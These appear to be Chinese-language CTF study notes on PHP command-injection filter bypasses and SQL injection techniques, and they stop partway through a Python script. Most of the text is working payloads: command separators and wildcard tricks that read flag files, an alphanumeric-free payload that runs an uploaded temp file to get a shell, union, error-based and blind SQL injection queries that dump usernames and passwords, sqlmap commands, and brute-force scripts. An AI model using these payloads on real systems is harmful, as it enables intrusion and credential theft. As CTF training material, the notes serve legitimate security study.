ÿ %FF %C3%BF

# >/dev/null 2>&1 不回显,以及 system 利用

1. > 是 Shell 中的 输出重定向 操作符。它将命令的 标准输出(stdout) 重定向到某个指定的目标位置

2. /dev/null 是一个特殊的设备文件,通常被称为 "黑洞",因为任何写入 /dev/null 的数据都会被 丢弃

3. 2>&1 : 这是一个复杂的重定向语法,表示将 标准错误(stderr) 重定向到 标准输出(stdout) 的位置

  • 2 :表示 标准错误(stderr),它是文件描述符 2。
  • >&1 :表示将文件描述符 2(stderr)重定向到文件描述符 1(stdout)。在这个上下文中, 1 是标准输出的文件描述符, & 符号告诉 Shell 重定向到另一个文件描述符。

# 绕过:

  • 在前面加上 ;

    system($c." >/dev/null 2>&1");
    c=tac%20flag.php;     # 这里是加上了分号作为分隔
    #【注意】:这里不需要去手动闭合括号
  • 前面加上 换行符%0a

    system($c." >/dev/null 2>&1");
    c=tac%20flag.php%0a     # 加上换行符
  • 前面加上 || ,使只执行前面的那条命令

    system($c." >/dev/null 2>&1");
    c=tac%20flag.php||    # 加上 ||, 只执行前面的命令
  • 前面加上 & (需要用 url 编码 %26)

    system($c." >/dev/null 2>&1");
    c=tac%20flag.php%26    # 加上 & amp;,& 在 URL 查询字符串中通常会被视为参数分隔符

** 总结:** 使用 ";" "||" "&" "&&" 分隔

/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显
; // 分号
| // 只执行后面那条命令
|| // 只执行前面那条命令
& // 两条命令都会执行 (& 在 URL 查询字符串中通常会被视为参数分隔符)
&& // 两条命令都会执行 (&& 在命令行中 用于 条件执行。当你在两个命令之间使用 && 时,第一个命令成功(退出状态码为 0)时,才会执行第二个命令。如果第一个命令失败(退出状态码非 0),则第二个命令不会被执行)

# system 利用:

c=tac%20flag.php%26 #%26 是 & amp;,`&` 进行分隔参数
    
c=tac%20fla*.php%26 #利用 `fla*` 去绕过
    
c=tac%09fla*.php%26 #过滤空格,利用 `tab (%09)` 来代替
    
c=tac<fla\g.php||  #`数字`、`*`、`$` 被过滤,tab 不能用了,${IFS} 也不行,可以用 `<` 或者 `<>` 进行绕过
 
c=nl<fla\g.php||   ##nl:显示的时候,顺便输出行号,flag 在源代码中
    
c=t\ac<fla\g.php|| #tac 被过滤,在 tac 中插入转义字符 \
    
c=t\ac${IFS}fla\g.php||  #过滤了 `<` 和 `>`,空格只能用其他的来代替,若没有过滤 `$` 和 `{}`,因此可以通过 `${IFS}` 来绕过
    
c=find${IFS}/${IFS}-name${IFS}fla\g|| #find /-name 文件名  ,从根目录开始查找含有 flag 的路径
    
c=t\ac${IFS}/fla\g||   #相当于 c=tac /flag  【注意:flag 与 / 不能隔开】,查看根目录的 flag
    
c=ta''c${IFS}fla''g.php  #把 \ 换成 ''(两个单引号) 也行
    
c=mv${IFS}fla?.php${IFS}a.txt #mv 命令把 flag 文件重命名,再使用 uniq 查看 a.txt
c=uniq,${IFS}a.txt #用 uniq 查看 a.txt 文件,在源代码中
    
【注意:有时候?个数太少也无法绕过,可能是因为`.*`把它匹配上了吧,所以下面才用了多个`?`
c=/bin/ca?${IFS}????.???   #利用?匹配命令需要写出全路径才能唯一确定命令,如:cat,与 /bin/ca? 匹配的,只有 /bin/cat 命令;【tac 貌似不再 bin 路径下,/bin/ta? 找不到】
    
?c=$'\143\141\164'%20$'\146'*  #相当于?c=cat f*;如:\143 是 ASCII 码,表示字符 'c',而 $ 可能是防止转义
    
?c=/???/????64 ????.???   #	即 /bin/base64 flag.php,base64 这个命令就是将指定的文件的内容以 base64 加密的形式输出。这个不是通用的,因为 base64 不是每个机器都有
?c=/???/???/????2 ????.???  # 即 /usr/bin/bzip2 flag.php,把 flag.php 给压缩,然后访问 url+flag.php.bz2 就可以把压缩后的 flag.php 给下载下来

# 无字母数字 webshell(无数字、字母命令执行【有 system 但过滤数字和字母】)

# 1. 利用方法:

(在 ctftools / 无字母数字命令执行上传文件.html)【用 http,修改 url 后打开网页上传文件】

【注意是仍然 get 方式提交后面的 payload】

<!-- 构造一个 post 上传文件的数据包,这是个上传页面,选择文件上传 -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://f2ef59eb-65f2-45f1-ba08-9e5def4312f5.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!-- 链接是当前打开的题目链接 -->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

上传文件【不能直接提交,要抓包,提交文件和 payload 是一起进行的】:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109133020604.png" alt="image-20250109133020604" style="zoom:80%;" />

抓包:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109133255160.png" alt="image-20250109133255160" style="zoom:80%;" />

POST 后加入 payload【get 方式】: ?c=.+/???/????????[@-[] 【有可能最后一个字母不是大写,所以要多提交几次】

?c=.+/???/????????[@-[] #后面是 8 个?和 [@-[],[@-[] 代表一个大写字母,总共 9 个字母,php+6 个字母 (共九个)
?c=.%20/???/????????[@-[]  #也可以

image-20250109133610734

看见是 flag.php ,在抓包中修改 lscat flag.php 【同样可能需要多提交几次才能出现 flag】

image-20250109133810106

# 2. 原理:

对 Linux shell 可以通过 . filename 【 . 空格 文件名 】用 bash 来执行文件中的命令

. : 用当前的 shell 执行一个文件中的命令,比如,当前运行的 shell 是 bash,则 . file 的意思就是用 bash 执行 file 文件中的命令【 . file 执行文件,是不需要 file 有 x 权限的】

因此要上传一个文件,通过在文件里的命令来 get shell ,因此只要能上传一个文件就能 getshell

上传文件:

  1. 可以发送一个上传文件的 POST 包,此时 PHP 会将我们上传的文件保存在临时文件夹下
  2. 上传默认的文件名是 /tmp/phpXXXXXX 【与我们自己的文件名无关】,文件名最后 6 个字符是 随机的大小写字母 【加上 php 共 9 个字母】

构造 payload:

由于要执行 . file ,我们需要通过通配符来正确执行我们上传的文件【因为执行 . /tmp/phpXXXXXX 也有字母会被过滤】

  1. * 可以代替 0 个及以上任意字符
  2. ? 可以代表 1 个任意字符
  3. [^x] 的方法来表面 “对应的这个位置不是字符 x”(相当于筛选其他已知的文件名减少干扰,但是一开始很难知道有什么文件名)
  4. [@-[] 来表示对应的这个位置是大写字母:ascii 中大写字母位于 @[ 之间,可以利用如 [0-9] 来表示一个范围

因此可以构造 payload:

?c=.+/???/????????[@-[]   #原本为?c=. /tmp/php 随机文件名

要多提交几次,因为 php 生成临时文件名是随机的,最后一个字符不一定是大写字母

# 3. 构造出数字(利用 shell 的功能)

  • $(( )) 作用:它是用来作整数运算的

    例如:

    $ a=5; b=7; c=2
    $ echo $(( a+b*c ))
    19
    $ echo $(( (a*b)%c))
    1
    $(( )) 中的变量名称,可于其前面加 $ 符号来替换,也可以不用,如:
    $(( $a + $b * $c)) 也可得到 19 的结果
    单纯用 (( )) 也可重定义变量值
    a=5; ((a++)) 可将 $a 重定义为 6
    a=5; b=7; ((a < b)) 会得到   0 (true) 的返回值
    $((""))值为0 #${_}: 代表上一次命令执行的结果,之前没有命令返回或者执行,结果应该是空,与 "" 等价
    $(())值为0
    $((~$(())))值为-1 #这里为 - 1,是由于上面 $(()) 值假设为 000 取反后:111,以补码形式解释真值为 `-1`(101, 按位取反末位 + 1, 第一个 1 是符号位)

可以通过 $(("")) 来构造出任意数字:

$(())值为0
$((~$(())))值为-1
$(($((~$(())))$((~$(()))))) #$((-1-1))=-2
$((~$(($((~$(())))$((~$(()))))))) #$((~-2))=1,即对 - 2 取反
加入得到36,可以有37个`-1`运算后再取反,
即在$((~$(())))里放入37个$((~$(()))) #~ 后的 $(()) 是计算 37 个 - 1 的和,然后 $((~)) 就是计算取反

脚本:

get_reverse_number = "$((~$(({}))))" # 取反操作
negative_one = "$((~$(())))"		# -1
payload = get_reverse_number.format(negative_one*37) #37 个 - 1, 再取反得到 36
print(payload)
#输出的直接就是已经取反后的结果 36
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

# SQL 注入

image-20250111195405967

这里只需要 'id' (不需要管双引号)

  • and 优先级高于 or
  • 判断有无闭合 and 1=1 and 1=2 // 结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+ 闭合
  • 注释相关/*--+--空格#%0c--%01 【如用到 --+ 闭合】【 + 加,可替代空格,如 select+user()

# 1. 判断参数类型

先判断是否是整型,如果不是整型则为字符型,字符型存在多种情况,需要使用单引号【'】、双引号【"】、括号【()】多种组合方式进行试探

  1. id=1 and 1=1 回显正常 ,id=1 and1=2 回显错误(判断为 整形

    【原因:and 1=1 或者 and 1=2 写入了 sql 语句并且执行成功 因为 1=2 不成立所以 id=1 and 1=2 回显是错误的】

  2. id=1 and 1=1 和 id=1 and 1=2 回显正常(判断为 字符型【转到 2 判断闭合方式】

# 2. 字符型注入判断闭合方式

字符型注入可以分为:「单引号字符型」注入和「双引号字符型」注入

  1. id=1' and '1'='1 回显正确 id=1' and '1'='2 回显错误(判断为【'】闭合)

  2. id=1"and"1"="1 回显正常 id=1"and"1"="2 回显错误(判断为【"】闭合)

以上都不行时尝试:1% df’ 此为宽字节注入

# 0x0c 常见过滤绕过方法

过滤关键字    and or
php代码    preg_match('/(and|or)/i',$id)
会过滤的攻击代码    1 or 1=1 1 and 1=1
绕过方式    1 || 1=1 1 && 1=1
过滤关键字    and or union
php代码    preg_match('/(and|or|union)/i',$id)
会过滤的攻击代码    union select user,password from users
绕过方式    1 && (select user from users where userid=1)='admin'
过滤关键字    and or union where
php代码    preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码    1 && (select user from users where user_id = 1) = 'admin'
绕过方式    1 && (select user from users limit 1) = 'admin'
过滤关键字    and or union where
php代码    preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码    1 && (select user from users where user_id = 1) = 'admin'
绕过方式    1 && (select user from users limit 1) = 'admin'
过滤关键字    and, or, union, where, limit
php代码    preg_match('/(and|or|union|where|limit)/i', $id)
会过滤的攻击代码    1 && (select user from users limit 1) = 'admin'
绕过方式    1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id 聚合中 user_id 为 1 的 user 为 admin
过滤关键字    and, or, union, where, limit, group by
php代码    preg_match('/(and|or|union|where|limit|group by)/i', $id)
会过滤的攻击代码    1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式    1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
过滤关键字    and, or, union, where, limit, group by, select
php代码    preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
会过滤的攻击代码    1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式    1 && substr(user,1,1) = 'a'
过滤关键字    and, or, union, where, limit, group by, select, '
php代码    preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
会过滤的攻击代码    1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式    1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)
过滤关键字    and, or, union, where, limit, group by, select, ', hex
php代码    preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
会过滤的攻击代码    1 && substr(user,1,1) = unhex(61)
绕过方式    1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的 11 转化为十六进制,并小写。
过滤关键字    and, or, union, where, limit, group by, select, ', hex, substr
php代码    preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
会过滤的攻击代码    1 && substr(user,1,1) = lower(conv(11,10,16))/td>
绕过方式    1 && lpad(user,7,1)
过滤关键字    and, or, union, where, limit, group by, select, ', hex, substr, 空格
php代码    preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
会过滤的攻击代码    1 && lpad(user,7,1)/td>
绕过方式    1%0b||%0blpad(user,7,1)
过滤关键字    and or union where
php代码    preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码    1 || (select user from users where user_id = 1) = 'admin'
绕过方式    1 || (select user from users limit 1) = 'admin'

# 3. 绕过过滤

# 1. 绕过关键字过滤

  1. 就是用 /**/<> ,分割关键字 **

    sel<>ect
    sel/**/ect
  2. 根据过滤程度,有时候还可以用双写绕过

    selselectect #sel select ect
  3. 既然是过滤关键字,大小写应该都会被匹配过滤,所以大小写绕过一般是行不通的

  4. 使用编码绕过

    url编码绕过
    16进制编码绕过
    ASCII编码绕过

# 2. 过滤逗号

常见的几种注入方法基本上都要使用逗号,要是逗号被过滤了,那就只能想办法绕过了。
绕过方法:

  1. 简单注入可以使用 join 方法绕过

    原语句:

    union select 1,2,3

    join 语句:

    union select * from (select 1)a join (select 2)b join (select 3)
  2. 对于盲注的那几个函数 substr (),mid (),limit

    substr和mid()可以使用from for的方法解决
    substr(str from pos for len) // 在 str 中从第 pos 位截取 len 长的字符
    mid(str from pos for len)// 在 str 中从第 pos 位截取 len 长的字符
    limit可以用offset的方法绕过
    limit 1 offset 1
    使用substring函数也可以绕过
    substring(str from pos) // 返回字符串 str 的第 pos 个字符,索引从 1 开始

# 3. 过滤空格

空格被过滤有以下几种方法绕过:

1)双空格 
2/**/ 
3)用括号绕过 
4)用回车代替 //ascii 码为 chr (13)&chr (10),url 编码为 %0d%0a

# 4. 过滤等号

如果等号被过滤了我们可以用 like 代替(把 = 替换为 like
使用 like 、rlike 、regexp 或者 使用 <或者>

# 5、过滤大于小于号

盲注中我们经常需要用到比较符,如果他们被过滤了,我们可以用以下几种方法绕过:

1)greatest(n1,n2,n3,...)		// 返回其中的最大值
(2)strcmp(str1,str2)		// 当 str1=str2,返回 0,当 str1>str2,返回 1,当 str1<str2,返回 - 1
(3)in 操作符
(4)between   and		// 选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。

# 6. 等价函数绕过

hex()、bin() ==> ascii() 
sleep() ==>benchmark() 
concat_ws()==>group_concat() 
mid()、substr() ==> substring() 
@@user ==> user() 
@@datadir ==> datadir() 
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74  
或者: substr((select 'password'),1,1) = 0x70 
strcmp(left('password',1), 0x69) = 1 
strcmp(left('password',1), 0x70) = 0 
strcmp(left('password',1), 0x71) = -1

# 6. 根据注入情况使用注入方式

使用 id=1 进行尝试尝试 继续使用 order by 查询显示位 union select 1,2,3 查询无显示,即无法得到显示位或无法得到列数时放弃使用联合查询
尝试使用报错语句

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+  
#'#等没有报错信息显示时放弃使用【报错注入】

尝试使用布尔盲注和时间盲注(建议使用工具进行注入)

# 联合查询注入

前提:知道列数且页面上有显示位。
判断显示位、获取所有数据库名、获取指定数据库所有表名、获取指定数据库指定表中所有字段名、获取具体数据。
判断列数

select id,username,password from security.users where id=1 order by 1;
#这里主要是用 `order by 列索引号`,order by 1 有结果,则至少有 1 列 (1 个字段数),若接着 order by 2 无结果则只有 1 列 (1 个字段数)

显示位

select id,username,password from security.users where id=1 union select 1,2,3;
#这里 select 1,2,3; 如果有三个字段就显示三列,每个字段有几行就显示几行
select直接加数字串不指向任何数据库的表,输入的数字是什么就返回什么

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112124118420.png" alt="image-20250112124118420" style="zoom: 50%;" />

数据库名

# 关于将 id 值设置为 0 或者负数的解释

由于我们的语句是插入到原有语句后面,这样就会出现两个 SQL 语句同时执行,由于 SQL 查询会默认返回一行数据,所以我们插入的第二行语句的结果就不会被返回,只会返回原有的 SQL 语句的查询内容。
要让数据库查询我们插入的语句,需要让原有 SQL 语句产生查询错误,注意:查询错误不是语法错误,查询错误只会返回空,不会让语句报错。
所以我们可以使 id=0 或 id=-1,零或负数不会被用作 id 值,它插入进去一定导致原有 SQL 语句查询结果为空,我们插入的 SQL 语句的结果就会被返回。
联合查询时 union select 无法执行时 用 union+select 代替 接下来的查询语句空格全部用【+】代替

?id=-1' union select 1,2,database() --+

或所有数据库名

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

指定数据库中表名(获取数据库表名

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
指定数据库中指定表中所有字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

具体数据

?id=-1' union select 1,2,group_concat(username,password) from users --+

# 报错注入

前提:页面会显示数据库报错信息。
得到报错信息、获取所有数据库名、获取指定数据库所有表名、获取指定数据库指定表中所有字段名、获取具体数据。
数据库名

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

或所有数据库名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1) --+

由于无法像联合查询一样一次性看到所有数据库名称,就需要使用 limit 参数逐个查询

?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

指定数据库中表名

?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
指定数据库中指定表中所有字段名
?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

具体数据

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+

或使用 limit 挨个遍历

?id=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

# 布尔盲注

情况:没有显示位、没有报错信息,但是有 SQL 语句执行错误信息输出的场景,仅仅通过报错这一行为去判断 SQL 注入语句是否执行成功。
数据库长度

?id=1' and (length(database()))>7 --+	
?id=1' and (length(database()))>8 --+

数据库名

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+或?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

或所有数据库名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1) --+

由于无法像联合查询一样一次性看到所有数据库名称,就需要使用 limit 参数逐个查询

?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

指定数据库中表名

?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

指定数据库中指定表中所有字段名

?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

具体数据

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+

或使用 limit 挨个遍历
?id=1' and (select 1 from (select count (*),concat ((select (select concat (cast (concat (username,0x3a,password) as char),0x7e)) from users limit 0,1),floor (rand (0)*2)) x from information_schema.tables group by x) a) --+

# 时间盲注

前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。 正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep (5) 条件之后,页面的返回速度明显慢了 5 秒。
缺点:因为是通过 sleep () 函数影响的响应时间来判断语句是否执行,所以比布尔盲注更慢,真实环境下时间盲注一个注入点需要跑大概五六个小时。
猜解数据库
数据库个数

?id=1 and if((select count(schema_name) from information_schema.schemata)=9,sleep(5),1)

第一个数据库名有多少个字符

?id=1 and if((select length(schema_name) from information_schema.schemata limit0,1)=18,sleep(5),1)

判断第一个库第一个字符

?id=1 and if((select ascii(substr((select schema_name from information_schema.schemata limit0,1),1,1)))=105,sleep(5),1)
?id=1 and if((select ascii(substr((select schema_name from information_schema.schemata limit0,1),2,1)))=110,sleep(5),1)//判断第一个库第二个字符

当前数据库
当前数据库长度

?id=1'+and+if((length(database()))=7,sleep(5),1) --+
?id=1'+and+if((length(database()))=8,sleep(5),1) --+

当前数据库名

?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+

猜解表名

?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=108,sleep(5),1) --+

URL 编码后:

?id=1%27%20and%20if((ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20t
able_schema=database()%20limit%200,1),1,1)))=108,sleep(5),1)%20--+

猜解字段名

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 1,1),1,1)))=102,sleep(5),1) --+

URL 编码后:

?id=1%27%20and%20if((ascii(substr((select%20column_name%20from%20information_schema.columns%20
where%20table_name=%27users%27%20limit%201,1),1,1)))=102,sleep(5),1)%20--+

猜解具体数据

?id=1' and if((ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=102,sleep(5),1) --+

URL 编码后:

?id=1%27%20and%20if((ascii(substr((select%20password%20from%20users%20limit%200,1),1,1)))=102,
sleep(5),1)%20--+

# 7. 使用工具进行注入

# 1.sqlmap

基础探测命令
联合查询注入:

.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=U -v 3

报错注入:

.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=E -v 3

布尔盲注:

.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=B -v 3

时间盲注:

.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=T -v 3

爆破数据
--current-db 当前使用的数据库
--dbs 列出数据库信息
- D 指定数据库,爆破指定数据库中的表
- D 数据库名 --tables
-T 指定数据表名,爆破指定表中的字段
- D 库名 -T 表名 --columns
-C 指定字段名,爆破具体数据
--dump 将数据导出、转储
指定库、表、字段,查询具体数据

.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=T -v 3 -D security -T users -C username,password --dump

# 联合查询 union

将两个 sql 查询语句并到一起,例如下面

SELECT emp_id 编号, emp_name 姓名, dept_id 所属部门或班级 FROM emp
UNION   #若为 UNION ALL 则显示不去重的结果
SELECT stu_id 编号, stu_name 姓名, class_id 所属部门或班级 FROM student
LIMIT 15

注意:多条查询语句的查询列数必须保持一致(即 select 后的字段数要一致,这样显示的列数才能一样,才能并到一起),否则报错。

# order by

# 1. 作用:

ORDER BY 关键字 可以使查询返回的「结果集」按照指定的列进行 排序 【默认是升序】

# 2. 使用

# 1. 按字段名(列名)进行排序

例如:

select * from user order by username
#按照 username 升序排序

# 2. 按列索引继续排序

例如:

select * from user order by 1
#按照第一列的字段名进行排序,假如第一列是 username,
#那么结果和 order by username 相同

可以通过这种方式判断有几个字段

where id=1 order by 1; #正常
where id=1 order by 2; #正常
where id=1 order by 3; #报错,则说明相应的数据库表只有两个字段

# sql 注入流程

# 1. 判断表有几列几行:

#判断列数 (字段数):
where id=1 order by 1; #正常
where id=1 order by 2; #正常
where id=1 order by 3; #报错,则说明相应的数据库表只有两个字段
#判断行数
select id,username,password from security.users where id=1 union select 1,2,3;
/* 这里 select 1,2,3; 如果有三个字段就显示三列,每个字段有几行就显示几行 */
select直接加数字串不指向任何数据库的表,输入的数字是什么就返回什么

# 2. 获取表名:

#select 1,group_concat(table_name)
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
  • group_concat(table_name): 将目标表的所有表名拼接成一行, group_concat 是一个聚合函数,用于将查询结果按行拼接为一个字符串,并用逗号分隔
  • information_schema.tables: information_schema 是数据库中一个系统模式,包含关于数据库表结构的元信息,tables 是系统表,存储了数据库中所有表的表名及其相关信息
  • table_schema=database(): database () 函数返回当前使用的数据库名称

# 3. 获取列名:

#列名 conumn_name,这里的表名 `ctfshow_user2` 是从上一步得到的
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user2'--+

# 4. 获取信息

#从上一步得到列名 id、username、password ,根据需要利用联合查询 union 获取相应信息
1' union select id,password from ctfshow_user2--+

回显限制绕过:

  1. 返回值限制 (字符串匹配类型的限制) 不允许出现 flag:

    #利用 hex (),转为 hex 格式输出
    1' union select id,hex(username),password from ctfshow_user3 --+
  2. 不允许出现数字:

    #把数字 [0-9] 换成大写字母,同时为了防止不允许出现 flag,所以把 g 替换成 K
    1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'g','K') from ctfshow_user4 --+
    #replace(string_expression , string_pattern , string_replacement)
    #将字段(expression)中的原本字符串(pattern)转换为替换后的字符串(replacement)
    #这里的replace嵌套是将password中已经将`1`换为`A`后的内容再做对`2`的替换,以此类推
    ##还原(在cmd中用python就行):
    text="ctfshow{bABIHCeC-Bdea-DIdf-IcGa-CCbBFBDICdEd}"
    print(text.replace('A','1').replace('B','2').replace('C','3').replace('D','4').replace('E','5').replace('F','6').replace('G','7').replace('H','8').replace('I','9').replace('J','0').replace('K','g'))
    #把数字换为特殊符号【可能有误】:
    1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','!'),'2','@'),'3','#'),'4','$'),'5','%'),'6','^'),'7','&'),'8','*'),'9','['),'0',']'),'g','{') from ctfshow_user4 --+
    ## 还原:
    def replace_str(s):
        print(s.replace('!', '1').replace('@', '2').replace('#', '3').replace('$', '4').replace('%', '5').replace('^', '6').replace('&', '7').replace('*', '8').replace('[', '9').replace(']', '0').replace('{','g'))
    flag='ctfshow{fc&(*#^*-ab$d-$!%(-a!f!-*#(&*c*e!*(@}'
    replace_str(flag)
  3. 过滤了所有的 ascii 字符 (preg_match('/[\x00-\x7f]/i)

  • 利用 into outfile 语句

    作用:导出数据到 pc 的指定目录下

    SELECT ... INTO OUTFILE 'file_name' /*file_name 是路径及文件名 */
    #例如:
    -1' union select  username,password from ctfshow_user5 into outfile "/var/www/html/1.txt"--+
    /*into outfile "/var/www/html/1.txt" 将查询结果写入到位于网页根目录下的名为 1.txt 的文件中 */
    #(路径 /var/www/html/ 是一个常见的用于存放网页文件的目录,通常被称为网页根目录。在许多 Web 服务器中,这个目录被设置为存放网站的主要文件,因此可以通过浏览器访问。)
  • 时间盲注

# 判断过滤

** 注意:** 可能 --+ 不能成功(猜测 + 是被当作了空格被过滤的情况),可以用 %23 (#) 来注释

# 1. 判断闭合

1'  #'#若报错,则是单引号闭合,因为后面会一个单引号没有被闭合上
1"  #"#若报错,则是双引号闭合

# 2. 判断过滤空格

1' and '1'='1 #不能正常显示应该是有过滤。
1'||'1    #若可以正常显示,那么应该是过滤了空格或者 and (因为上面只有空格和 and 不一致)
1'and'1   #没有问题,则就是过滤了空格
#用 /**/ 绕过空格过滤(/**/ 替换空格)
#用空格 url 编码替换 %0d%0a
#换行符 %0b 代替空格
#用 %09 代替
#用 %0c 代替空格
#不需要空格的万能密码:'or'1'='1'%23

# 3. 绕过过滤注释符

#在 union select 中嵌套一个 select
union select 1, 2, '3
union select 1, (select password from ctfshow_user where username='flag' ),'3
#这里嵌套的 select 是新的语句,不受 limit 1 的影响,但是会被外层语句正确执行的结果覆盖,所以要外层为假

# 4. 布尔盲注

根据返回结果判断输入的字符是不是 flag 的部分内容,可由此对字母和数字进行逐个判断,最后逐个得到 flag 的所有内容:

import requests
import time
url="http://66c49936-7450-4479-8ad7-4795efd64951.challenge.ctf.show/select-waf.php"
flagstr="qwertyuiop{}|asdfghjklzxcvbnm<>/1234567890-=!@#$%^&*()_+.`~"
flag=""
for i in range(0,40):
    for x in flagstr:
        data={
            "tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x) #`\` 是转义符,最后视作 `regexp ("ctfshow {}")`,regexp 是正则匹配能够匹配上,使回显得到 count=1 (匹配上了 flag) 那就是 flag 的内容
                                                                                        #遍历 flagstr 将其放入 `ctfshow` 后,替换掉 {}
            #"tableName":"`ctfshow_user`where`pass`like\'ctfshow {}%\'".format (flag+x)  #相当于`ctfshow%` 搜索与之匹配的
        }
        response=requests.post(url,data=data)
        #有并发数量限制的题目,就睡一段时间
        #time.sleep (0.01) #原本 0.3
        if response.text.find("$user_count = 1;")>0:
            print("++++++++++++++++ {} is right".format(x))
            flag+=x
            break
        else:
            continue
    print("ctfshow"+flag)
  1. 盲注获得数据库名、表名、字段名、以及 flag:

    ASCII () 函数可以用 ord () 函数替换,ord () 以单个字符为参数【ORD () 函数只返回字符串第一个字符的 ASCII 值】,返回对应的 ascii 值

    import requests
    import sys
    import time
    url = "http://a9feb48a-5b68-4dca-8ea0-fa2d2c0d20f3.challenge.ctf.show/api/"
    flag = ""
    for i in range(1,60): #二分法
        max = 127 #所有 ascii 字符范围 32-127
        min = 32
        while 1:
